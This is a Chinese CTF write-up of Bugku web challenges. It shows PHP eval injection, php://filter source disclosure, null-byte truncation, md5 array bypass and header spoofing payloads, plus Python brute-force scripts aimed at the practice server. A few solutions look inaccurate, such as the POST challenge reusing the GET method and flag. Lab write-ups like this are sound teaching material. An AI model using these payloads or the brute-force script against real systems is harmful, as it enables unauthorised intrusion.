分值:20
听说聪明的人都能找到答案
题目地址
进入网页后为持续加快的滑稽表情,查看网页源码得到flag:
<body id="body" onLoad="init()">
<!flag KEY{Web-2-bugKssNNikls9100}>
分值:30
题目地址
进入页面后,需要计算出结果提交,但输入框被限制了字符限制,查看网页源码:
<span id="code" class="nocode">验证码span>
<input type="text" class="input" maxlength="1"/>
将“/”标签中的“maxlength”属性删除掉或修改为适合长度,验证得到flag:
分值:30
题目地址
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
分析代码:通过GET传参方式输入变量what的值,使变量what等于flag即输出flag,在地址栏构造如下传参:?what=flag
,访问得到flag:flag{bugku_get_su8kej2en}
分值:30
题目地址
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
分析代码:通过POST传参方式输入变量what的值,使变量what等于flag即输出flag,在地址栏构造如下传参:?what=flag
,访问得到flag:flag{bugku_get_su8kej2en}
分值:30
题目地址
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
分析代码:通过GET方式传入变量num的值,传入的值不能为数字,但需要等于“1”。
通过“is_numeric()”函数遇到%00
截断的漏洞,构造GET传参:?num=1%00
,访问后得到flag:flag{bugku-789-ps-ssdf}
分值:30
flag就在这里快来找找吧
题目地址
打开后会一直重复两个弹窗:
重复点击确定后,弹窗会消失,查看网页源码,发现注释内有一段可疑的编码:
在线HTML解码,得到flag:KEY{J2sa42ahJK-HS11III}
分值:50
听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
在Windows系统下,访问文件地址:C:\Windows\System32\drivers\etc
,在当中的host文件中:
使用记事本打开文件,在其中填入:123.206.87.240 flag.baidu.com
保存文件后,访问http://flag.baidu.com
,得到flag:KEY{DSAHDSJ82HDS2211}
分值:60
作者:@berTrAM
题目地址
进入一面后会一直刷新,尝试用Burp Suite抓取数据包,Send to Repeater,重复发送几次数据包,在Response中得到flag:
分值:60
题目地址
//题目源码已给出
error_reporting(0);
include 'flag.php';
$a = @$_REQUEST['hello'];
eval(" var_dump( $a );");
highlight_file(__FILE__);
?>
分析代码:本地包含了flag.php,需要为变量hello赋值,然后将变量a的相关情况作为PHP代码来执行。
我们可以通过eval()函数输出flag.php文件的内容,通过对变量hello赋值:
http://123.206.87.240:8003/?hello=file_get_contents('flag.php')
然后查看网页源码便得到flag:
//flag(too-young-too-simple)
//听说中国菜刀挺好用
//是挺好用
?>
分值:60
题目地址
flag In the variable !
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
分析代码:包含有flag1.php,需要通过GET方式传入变量args的值,不能出现大小写字母和数字,在eval()函数中出现可变变量($$args)。
通过eval()函数执行漏洞,PHP在名为 “$GLOBALS[index]” 的数组中存储了所有全局变量。变量的名字就是数组的键。所以将?args=GLOBALS
传入,便得到flag:
分值:60
JSPFUCK???答案格式CTF{*}
字母大写
题目地址
进入页面后有输入框,查看网页源码:
源码中有JSFuck编码,JSFuck是一种基于JavaScript的编码方式,它只使用六个不同的字符来编写和执行代码。因为是基于JavaScript,所以可以在浏览器F12控制台直接执行:
将运行后的结果大写,提交检测为真实flag:
分值:60
题目地址
进入页面后显示:“什么也没有。”,提示为“头”,尝试用Burp Suite抓取数据包,Send to Repeater,发送数据包,在Response中得到flag:
分值:60
这个题没技术含量但是实战中经常遇到
题目地址
攻击者在黑入网页后,通常会给自己留有后门,尝试通过御剑进行后台扫描:
分值:60
flag格式flag{}
题目地址
查看网页源码,在最底下得到提示:
判断为Base64编码,在线解码Base64,得到解码后的结果:test123
输入用户名:admin
及密码:test123
登陆,显示:IP禁止访问,请联系本地管理员登陆,IP已被记录.
提示为本地,使用Google Chrome插件ModHeader在HTTP请求头中添加本地地址X-Forwarded-For:127.0.0.1
再次登陆后,得到flag:flag{85ff2ee4171396724bae20c0bd851f6b}
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
script>
两变量值均为URL编码,根据eval函数所给出的,p1 + %35%34%61%61%32 + p2,在线URL解码,得到源代码:
function checkSubmit()
{
var a = document.getElementById("password");
if ("undefined" != typeof a) {
if ("67d709b2b54aa2aa648cf6e87a7114f1" == a . value)
return !0;
alert("Error");
a . focus();
return !1
}
}
document . getElementById("levelQuest") . onsubmit = checkSubmit;
将67d709b2b54aa2aa648cf6e87a7114f1
提交得到flag:KEY{J22JK-HS11}
分值:80
题目地址
进入页面后显示:click me? no,点击跳转到新页面:http://123.206.87.240:8005/post/index.php?file=show.php
,页面显示的是show.php
页面的内容:test5;
尝试使用伪协议读取index.php的源码,构造如下payload:?file=php://filter/read=convert.base64-encode/resource=index.php
,将index.php的源码转换为base64编码,在线BASE64解码得到源码:
<html>
<title>Bugku-ctf</title>
error_reporting(0);
if(!$_GET[file]){echo 'click me? no';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
得到flag:flag{edulcni_elif_lacol_si_siht}
分值:80
作者:Se7en
题目地址
打开题目后,看到需要输入5位数密码:
地址栏给出提示:http://123.206.87.240:8002/baopo/
,使用Burp Suite抓取数据包,获取所需的信息:
可以使用Burp Suite的Intruder模块的功能:
设置类型为数字模式,从10000到99999,开始爆破,根据返回长度不同,判断为正确密码:
也可以使用Python3脚本尝试爆破,源码如下:
import requests
url = 'http://123.206.87.240:8002/baopo/'
for i in range(10000, 99999):
data = {'pwd': i}
result = requests.post(url, data=data)
print(i)
if len(result.text) != 1190:
print("Right")
break
得到密码为:13579:
输入密码,得到flag:flag{bugku-baopo-hah}
分值:80
hints:JavaScript
题目地址
需要点击一百万次,但提示为JavaScript,查看网页源码:
<script>
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $(' +
'+ clicks + '" hidden/>' +
'');
$('body').append(form);
form.submit();
}
});
});
script>
分析代码:存在变量clicks,当变量clicks的值大于1000000
时,输出flag
使用Google Chrome的插件HackBar进行POST方式的传参:clicks=1000000
得到flag:flag{Not_C00kI3Cl1ck3r}
分值:80
听说备份是个好习惯
题目地址
进入页面后显示一段字符串:d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
,在线md5解密得到:[空密码]/[Empty String]
根据提示备份,访问index.php.bak
,下载到一段源码:
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str, 1);
$str = str_replace('key', '', $str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if (md5($key1) == md5($key2) && $key1 !== $key2) {
echo $flag . "取得flag";
}
?>
分析代码: 包含文件flag.php
,通过地址栏传入变量的值,strstr() 函数返回?
(包含?
)之后的字符串,substr() 函数将字符串的?
去掉, str_replace() 函数将字符串中的key
替换为空,parse_str() 函数把查询字符串解析到变量中,当变量key1的值与变量key2的值不相等,但经过md5加密后的值相等时,输出flag
在地址栏构造如下Payload:?kekeyy1[]=1&kkeyey2[]=2
,传递参数得到flag:Bugku{OH_YOU_FIND_MY_MOMY}
分值:90
快来查查成绩吧
题目地址
输入合法的数据,显示为正常的页面:
输入超出的数据,得到空白的页面:
分值:100
是不是老司机试试就知道。
题目地址
进入页面后显示:
或者为(多刷新几次):
即提示为通过POST方式传入变量value的值,
构造如下Python脚本:
import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data=post).text)
运行几次得到flag:Bugku{YOU_DID_IT_BY_SECOND}
分值:100
答案格式:KEY{xxxxxxxx}
题目地址
进入页面后为一串重复字符串,在地址栏发现传参语句:?line=&filename=a2V5cy50eHQ=
,变量line值为空,变量filename的值进行在线Base64解码得到keys.txt
,判断该传参语句作用为读取文件源码,尝试将变量filename的值修改为index.php
的Base64编码,即aW5kZXgucGhw
,通过Python脚本,跑出全部源代码:
import requests
url1 = 'http://123.206.87.240:8002/web11/index.php?line='
url2 = '&filename=aW5kZXgucGhw'
for i in range(0, 50):
url = url1 + str(i) + url2
re = requests.Session()
source = re.get(url).text
print(source)
得到源代码:
error_reporting(0);
$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' => 'keys.txt',
'1' => 'index.php',
);
if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
$file_list[2] = 'keys.php';
}
if (in_array($file, $file_list)) {
$fa = file($file);
echo $fa[$line];
}
?>
分析代码:需要设置HTTP请求头信息Cookie,margin=margin
,使用BurpSuite抓取数据包,修改信息:
发送数据包,在网页源码中的到flag:
分值:100
作者:御结冰城
题目地址
进入页面后显示:never never never give up !!!,查看网页源码得到提示:,访问该页面后跳转到CTF论坛首页,直接访问页面源码:
view-source:http://123.206.87.240:8006/test/1p.html
,得到一段编码提示:
判断为URL编码,将变量var Words的值进行在线URL解码,得到一段Base64编码,在线Base64解码得到一段URL编码,在线URL解码,得到一段源代码:
if (!$_GET['id']) {
header('Location: hello.php?id=1');
exit();
}
$id = $_GET['id'];
$a = $_GET['a'];
$b = $_GET['b'];
if (stripos($a, '.')) {
echo 'no no no no no no no';
return;
}
$data = @file_get_contents($a, 'r');
if ($data == "bugku is a nice plateform!" and $id == 0 and strlen($b) > 5 and eregi("111" . substr($b, 0, 1), "1114") and substr($b, 0, 1) != 4) {
require("f4l2a3g.txt");
} else {
print "never never never give up !!!";
}
?>
访问f4l2a3g.txt
得到flag:flag{tHis_iS_THe_fLaG}
分值:100
送给大家一个过狗一句话
进入页面后显示:此站没有flag,flag被人删了,不用再做了。–一个做题的路人